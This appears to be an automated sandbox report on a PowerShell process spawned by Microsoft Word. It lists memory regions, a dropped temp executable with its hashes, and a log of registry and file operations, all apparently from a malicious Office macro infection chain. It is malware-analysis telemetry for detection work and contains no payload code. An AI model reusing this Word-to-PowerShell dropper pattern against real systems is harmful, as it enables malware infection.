Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:02:04 |
Information | Value |
---|---|
PID | 0xad4 |
Parent PID | 0x9f8 (c:\program files\microsoft office\root\office16\winword.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
AD8
0x
AEC
0x
AF0
0x
AF4
0x
AF8
0x
AFC
0x
B10
0x
B20
0x
B24
0x
B28
0x
B30
0x
B34
0x
B5C
0x
B6C
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000020000 | 0x00020000 | 0x0002ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000030000 | 0x00030000 | 0x00033fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000040000 | 0x00040000 | 0x00040fff | Pagefile Backed Memory | Readable |
|
|||
locale.nls | 0x00050000 | 0x000b6fff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000000c0000 | 0x000c0000 | 0x000c6fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000000d0000 | 0x000d0000 | 0x000d1fff | Pagefile Backed Memory | Readable, Writable |
|
|||
powershell.exe.mui | 0x000e0000 | 0x000e2fff | Memory Mapped File | Readable, Writable |
|
|||
private_0x00000000000f0000 | 0x000f0000 | 0x000f0fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000100000 | 0x00100000 | 0x00100fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000110000 | 0x00110000 | 0x00110fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000120000 | 0x00120000 | 0x00120fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000130000 | 0x00130000 | 0x0016ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000170000 | 0x00170000 | 0x00171fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000180000 | 0x00180000 | 0x00180fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000190000 | 0x00190000 | 0x00191fff | Pagefile Backed Memory | Readable |
|
|||
cversions.1.db | 0x001a0000 | 0x001a3fff | Memory Mapped File | Readable |
|
|||
cversions.2.db | 0x001a0000 | 0x001a3fff | Memory Mapped File | Readable |
|
|||
private_0x00000000001b0000 | 0x001b0000 | 0x001bffff | Private Memory | Readable, Writable |
|
|||
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db | 0x001c0000 | 0x001dffff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000001e0000 | 0x001e0000 | 0x001e0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x00000000001f0000 | 0x001f0000 | 0x001fffff | Private Memory | Readable, Writable |
|
|||
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db | 0x00200000 | 0x0022ffff | Memory Mapped File | Readable |
|
|||
cversions.2.db | 0x00230000 | 0x00233fff | Memory Mapped File | Readable |
|
|||
private_0x0000000000240000 | 0x00240000 | 0x0027ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000280000 | 0x00280000 | 0x00280fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000290000 | 0x00290000 | 0x00290fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x00000000002a0000 | 0x002a0000 | 0x002a0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x00000000002b0000 | 0x002b0000 | 0x003affff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000003b0000 | 0x003b0000 | 0x00477fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000480000 | 0x00480000 | 0x00580fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000590000 | 0x00590000 | 0x0118ffff | Pagefile Backed Memory | Readable |
|
|||
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db | 0x01190000 | 0x011f5fff | Memory Mapped File | Readable |
|
|||
private_0x0000000001200000 | 0x01200000 | 0x0120ffff | Private Memory |
|
||||
private_0x0000000001210000 | 0x01210000 | 0x0121ffff | Private Memory |
|
||||
private_0x0000000001220000 | 0x01220000 | 0x0122ffff | Private Memory |
|
||||
private_0x0000000001230000 | 0x01230000 | 0x0126ffff | Private Memory | Readable, Writable, Executable |
|
|||
pagefile_0x0000000001270000 | 0x01270000 | 0x0134efff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001350000 | 0x01350000 | 0x0135ffff | Private Memory |
|
||||
private_0x0000000001360000 | 0x01360000 | 0x0136ffff | Private Memory |
|
||||
private_0x0000000001370000 | 0x01370000 | 0x0137ffff | Private Memory |
|
||||
private_0x0000000001380000 | 0x01380000 | 0x0138ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001390000 | 0x01390000 | 0x013cffff | Private Memory | Readable, Writable |
|
|||
l_intl.nls | 0x013d0000 | 0x013d2fff | Memory Mapped File | Readable |
|
|||
private_0x00000000013e0000 | 0x013e0000 | 0x013e0fff | Private Memory | Readable, Writable |
|
|||
sorttbls.nlp | 0x013f0000 | 0x013f4fff | Memory Mapped File | Readable |
|
|||
private_0x0000000001400000 | 0x01400000 | 0x0143ffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01440000 | 0x0170efff | Memory Mapped File | Readable |
|
|||
private_0x0000000001710000 | 0x01710000 | 0x0180ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001810000 | 0x01810000 | 0x01c02fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001c10000 | 0x01c10000 | 0x01caffff | Private Memory | Readable, Writable |
|
|||
microsoft.wsman.runtime.dll | 0x01cb0000 | 0x01cb7fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
private_0x0000000001cc0000 | 0x01cc0000 | 0x01cfffff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000001d00000 | 0x01d00000 | 0x01d3ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001d40000 | 0x01d40000 | 0x01d40fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000001d50000 | 0x01d50000 | 0x01d50fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001d50000 | 0x01d50000 | 0x01d5ffff | Private Memory |
|
||||
pagefile_0x0000000001d60000 | 0x01d60000 | 0x01d70fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000001d80000 | 0x01d80000 | 0x01dbffff | Private Memory | Readable, Writable |
|
|||
sortkey.nlp | 0x01dc0000 | 0x01e00fff | Memory Mapped File | Readable |
|
|||
system.transactions.dll | 0x01e10000 | 0x01e52fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
private_0x0000000001e60000 | 0x01e60000 | 0x01e6ffff | Private Memory |
|
||||
private_0x0000000001e70000 | 0x01e70000 | 0x01e7ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001e80000 | 0x01e80000 | 0x03e7ffff | Private Memory | Readable, Writable |
|
|||
mscorrc.dll | 0x03e80000 | 0x03ed3fff | Memory Mapped File | Readable |
|
|||
private_0x0000000003ee0000 | 0x03ee0000 | 0x03eeffff | Private Memory |
|
||||
private_0x0000000003ef0000 | 0x03ef0000 | 0x03f2ffff | Private Memory | Readable, Writable |
|
|||
system.management.automation.dll | 0x03f30000 | 0x04211fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll.mui | 0x04220000 | 0x042dffff | Memory Mapped File | Readable, Writable |
|
|||
private_0x00000000042e0000 | 0x042e0000 | 0x042effff | Private Memory |
|
||||
private_0x00000000042f0000 | 0x042f0000 | 0x042fffff | Private Memory |
|
||||
private_0x0000000004300000 | 0x04300000 | 0x0430ffff | Private Memory |
|
||||
private_0x0000000004310000 | 0x04310000 | 0x0431ffff | Private Memory |
|
||||
private_0x0000000004320000 | 0x04320000 | 0x0432ffff | Private Memory |
|
||||
powershell.exe | 0x220b0000 | 0x22121fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.directoryservices.ni.dll | 0x5c740000 | 0x5c853fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.management.ni.dll | 0x5c860000 | 0x5c963fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.xml.ni.dll | 0x5c970000 | 0x5cea5fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.powershell.commands.management.ni.dll | 0x5ceb0000 | 0x5cf72fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.powershell.commands.utility.ni.dll | 0x5cf80000 | 0x5d11dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.transactions.ni.dll | 0x5d120000 | 0x5d1bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.wsman.management.ni.dll | 0x5d1c0000 | 0x5d244fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.core.ni.dll | 0x5d250000 | 0x5d484fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.management.automation.ni.dll | 0x5d490000 | 0x5dd09fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.management.automation.dll | 0x5dd10000 | 0x5dff1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.ni.dll | 0x5e000000 | 0x5e79bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscorlib.ni.dll | 0x5e7a0000 | 0x5f297fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscorwks.dll | 0x5f2a0000 | 0x5f84afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.powershell.consolehost.ni.dll | 0x5fa50000 | 0x5fad0fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
culture.dll | 0x60340000 | 0x60347fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscoreei.dll | 0x60590000 | 0x60607fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mscoree.dll | 0x60610000 | 0x60659fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.transactions.dll | 0x67aa0000 | 0x67ae2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.powershell.commands.diagnostics.ni.dll | 0x6b300000 | 0x6b34afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
microsoft.powershell.security.ni.dll | 0x6b750000 | 0x6b77cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
linkinfo.dll | 0x6d9e0000 | 0x6d9e8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shdocvw.dll | 0x6d9f0000 | 0x6da1dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cscapi.dll | 0x6e620000 | 0x6e62afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apphelp.dll | 0x6fb80000 | 0x6fbcbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcr80.dll | 0x723b0000 | 0x7244afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shfolder.dll | 0x72460000 | 0x72464fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
system.configuration.install.ni.dll | 0x727f0000 | 0x72814fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntshrui.dll | 0x73300000 | 0x7336ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
uxtheme.dll | 0x73cf0000 | 0x73d2ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
slc.dll | 0x741b0000 | 0x741b9fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
atl.dll | 0x741e0000 | 0x741f3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntmarta.dll | 0x74460000 | 0x74480fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
propsys.dll | 0x745b0000 | 0x746a4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comctl32.dll | 0x746f0000 | 0x7488dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
version.dll | 0x74c60000 | 0x74c68fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
userenv.dll | 0x74dc0000 | 0x74dd6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rsaenh.dll | 0x74f80000 | 0x74fbafff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptsp.dll | 0x751e0000 | 0x751f5fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
srvcli.dll | 0x755b0000 | 0x755c8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptbase.dll | 0x75660000 | 0x7566bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
profapi.dll | 0x75710000 | 0x7571afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
devobj.dll | 0x75790000 | 0x757a1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cfgmgr32.dll | 0x759b0000 | 0x759d6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
psapi.dll | 0x760d0000 | 0x760d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wldap32.dll | 0x76140000 | 0x76184fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
setupapi.dll | 0x76190000 | 0x7632cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
clbcatq.dll | 0x76460000 | 0x764e2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffd4000 | 0x7ffd4000 | 0x7ffd4fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffda000 | 0x7ffda000 | 0x7ffdafff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdb000 | 0x7ffdb000 | 0x7ffdbfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdc000 | 0x7ffdc000 | 0x7ffdcfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdd000 | 0x7ffdd000 | 0x7ffddfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
|||
For performance reasons, the remaining 73 entries are omitted.
The remaining entries can be found in flog.txt. |
Filename | File Size | Hash Values | YARA Match | Actions |
---|---|---|---|---|
c:\users\atveydl98z\appdata\local\temp\38763.exe | 84.00 KB (86016 bytes) |
MD5:
1b1e6729790854252dfba6c77f198a4e
SHA1: 327c94b435802f77d12913956b28c70d00ab2de5 SHA256: 3939227998b7986b481eb9bc1a10dd1c5c02fc7ff9edbd25ad86a61307186d98 |
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
System | Get Info | type = Operating System | 3 |
Fn
|
|
File | Get Info | filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 | 1 |
Fn
|
|
System | Get Info | type = SYSTEM_PROCESS_INFORMATION | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 3 |
Fn
|
|
File | Get Info | filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 9 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 6 |
Fn
|
|
File | Create | filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Create | filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE | 1 |
Fn
|
|
System | Get Info | type = Operating System | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 13 |
Fn
|
|
Environment | Get Environment String | name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Environment | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE | 1 |
Fn
|
|
Environment | Set Environment String | name = PSMODULEPATH, value = C:\Users\ATVeyDl98Z\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 4 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ | 2 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 4096 | 3 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 3315 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 781, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
System | Get Info | type = Hardware Information | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 4096 | 41 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 436 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ | 2 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 4 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 4096 | 6 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 2530 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 542, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 | 5 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 | 1 |
Fn
|
|
